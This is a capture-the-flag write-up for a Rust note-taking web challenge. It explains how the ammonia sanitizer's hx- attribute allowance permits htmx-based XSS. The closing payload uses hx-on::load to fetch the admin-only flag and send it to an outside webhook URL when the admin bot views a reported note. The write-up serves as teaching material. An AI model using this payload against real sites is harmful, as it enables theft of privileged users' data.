XSS using hx- attribute to fetch the flag from /api/note/flag.
Challenge points: 88 No. of solves: 88 Solved by: ma1f0y,lu513n,L0xm1
Challenge Description
We’re excited to announce our new, revolutionary product: A note-taking app. This phenomenal product uses the most up-to-date, bleeding-edge tech in order to stay ahead of all potential security issues. No-one can pwn us
use axum::{ extract::Multipart, extract::Path, headers::Cookie, http::{header::LOCATION, HeaderMap, HeaderValue, StatusCode}, response::Html, routing::{get, post}, Form, Router, TypedHeader, }; use serde::Deserialize; use std::{fs, io::Read}; use tower_http::services::ServeDir; use maplit::hashset;
In the get_note() function, it checks if the path is equal to /note/flag , and checks the session is equal to admins’ session then the flag is returned else “You are not allowed to read this note” message ****is returned. So only an admin can visit the /note/flag endpoint.
In the upload_note() function, sanitization is applied on the body of the note using the ammonia parser. Ammonia is a whitelist-based HTML sanitization library in rust https://github.com/rust-ammonia/ammonia/ .
1 2 3 4 5
let safe = ammonia::Builder::new() .tags(hashset!["h1", "p", "div"]) .add_generic_attribute_prefixes(&["hx-"]) .clean(&body) .to_snote/bab8ac3ff29e46f9e5ae1be75bc4e6f6c608214fc4ada541194404c5150f86e9tring();
In the above code snippet, only <h1><p> and <div> is allowed. Also any attribute starting with hx- will be allowed.
In the given source code, htmx library https://htmx.org/ is used, which is used for building web applications with native JavaScript.
hx-get → htmx fetches content from /api/note endpoint.
hx-on:config-request→ Sets up an event handler for the “config-request” event. When this event is triggered, the provided JavaScript code will be executed.
hx-trigger→This attribute specifies when the request should be triggered.
hx-target→ Specifies where the response from the server should be placed in the DOM.
We can use hx-on to execute the javascript code. Since <div> and hx- is allowed in the ammonia parser, we can use this to get xss.
Final Payload Create a note with the following content.
hx-get="/api/note/flag" → to fetch the content from /api/note/flag
hx-on::load="fetch('/api/note/flag').then(x => x.text()).then((x)=>location='https://webhook.site/7a888fca-6ff6-48d0-b2af-33f47ab05ab5?x='+encodeURIComponent(x)) " → the content from /api/note/flag is fetched and sent to my webhook with the response as a query parameter.
Report the note link to /report endpoint. When the admin visits the note, content from /api/note/flag is fetched and sent to my webhook as a query parameter.
1
Good job user, <br> here's your flag. <br><br> flag{C3r34l_1s_s0up_l1k3_1f_4gr33}